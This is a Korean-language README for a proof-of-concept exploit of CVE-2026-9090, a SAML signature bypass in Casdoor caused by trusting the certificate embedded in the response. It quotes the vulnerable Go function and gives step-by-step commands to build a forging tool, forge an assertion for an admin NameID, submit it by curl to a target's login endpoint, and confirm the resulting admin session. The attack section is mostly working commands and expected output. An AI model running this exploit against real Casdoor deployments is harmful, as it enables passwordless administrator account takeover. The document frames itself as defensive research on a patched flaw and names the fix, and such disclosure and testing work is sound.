
CVE-2026-9090 — Casdoor SAML 서명 우회(CWE-347)용 PoC. 재현 전용; CERT/CC VU#780781을 통해 조율됨.
CVE-2026-9090(CWE-347, 암호화 서명의 부적절한 검증)에 대한 개념 증명(PoC)으로, Casdoor ID 플랫폼의 인증 우회 취약점입니다.
출처. CVE-2026-9090은 CERT/CC가 공개·조정했습니다 — VU#780781을 참조하세요. 이 저장소는 이미 공개된 취약점에 대한 독립적, 재현 전용 개념 증명이며, 해당 이슈의 발견을 주장하지 않습니다.
Casdoor가 POST /api/acs에서 SAML 응답을 처리할 때(외부 SAML 공급자를 통한 로그인),
buildSpCertificateStore 함수는 ID 공급자에 등록된 인증서 대신 수신된 SAML 응답 자체에 포함된
<X509Certificate>에서 서명 신뢰 앵커를 구성합니다.
// object/saml_sp.go (vulnerable, <= v2.362.0)
func buildSpCertificateStore(provider *Provider, samlResponse string) (certStore ..., err error) {
certEncodedData := ""
if samlResponse != "" {
certEncodedData, err = getCertificateFromSamlResponse(samlResponse, provider.Type) // <-- cert from the response
} else if provider.IdP != "" {
certEncodedData = provider.IdP
}
...
certStore = dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{idpCert} }
}
신뢰 앵커가 응답에서 가져오기 때문에, 공격자는 자체 서명된 인증서로 SAML 어서션에
서명하고 해당 인증서를 응답에 포함시키면, 서명이 그 자체에 대해 검증됩니다. NameID를
기존 사용자로 설정하면 해당 계정으로 확인됩니다 — 관리자인 경우 공격자는 관리자
세션을 획득합니다. 비밀번호는 필요 없습니다.
<= 2.362.0provider.IdP로만 스토어를 구성합니다.
(buildSpCertificateStore(provider *Provider)가 더 이상 응답을 읽지 않음). 최신 릴리스로 업그레이드하세요.forge_saml.go는 일회용 자체 서명 키로 서명된 어서션을 포함하는 완전한 SAML Response를 생성하며,
해당 키의 인증서가 <ds:KeyInfo><ds:X509Certificate>에 포함됩니다. Casdoor가 사용하는 것과 동일한
goxmldsig 라이브러리를 사용하므로 정규화 및 서명 형식이 그대로 수용됩니다.
go mod init cve-2026-9090-poc # or: go build directly in this repo
go get github.com/beevik/etree github.com/russellhaering/goxmldsig
go build -o forge_saml forge_saml.go
# 1) forge a response for an existing (admin) NameID, aimed at the target's ACS URL
./forge_saml \
--nameid [email protected] \
--acs http://TARGET:8000/api/acs \
--audience http://TARGET:8000/api/acs \
> forged.b64
# 2) submit it. NOTE: Casdoor url-unescapes SAMLResponse before base64-decoding, so the value MUST be
# url-encoded (a raw '+' would be turned into a space -> "illegal base64 data").
ENC=$(python3 -c 'import urllib.parse;print(urllib.parse.quote(open("forged.b64").read().strip()))')
curl -s -c cookie.txt \
"http://TARGET:8000/api/login?application=APP&organization=ORG&provider=SAML_PROVIDER&method=signup" \
-H 'Content-Type: application/json' \
-d "{\"application\":\"APP\",\"organization\":\"ORG\",\"provider\":\"SAML_PROVIDER\",\"method\":\"signup\",\"type\":\"login\",\"samlResponse\":\"$ENC\"}"
# -> {"status":"ok","data":"ORG/admin"}
# 3) confirm the session
curl -s -b cookie.txt http://TARGET:8000/api/get-account | jq '.data | {name,isAdmin,owner}'
APP, ORG, SAML_PROVIDER는 각각 애플리케이션 이름, 조직, 그리고 해당 애플리케이션에
바인딩된 SAML 공급자입니다. Casdoor 애플리케이션의 등록 정보(바인딩된 공급자 포함)는
/api/get-application?id=admin/<name>에서 확인할 수 있습니다.
이 PoC는 수정되었고 공개된 취약점에 대해 방어적 테스트, 탐지 엔지니어링,
연구 목적으로 게시되었습니다. 테스트가 승인된 시스템에서만 실행하세요. 올바른 해결 방법은
buildSpCertificateStore가 등록된 공급자 인증서에 대해 검증하는 릴리스로 Casdoor를
업그레이드하는 것입니다.
MIT — LICENSE 파일을 참조하세요.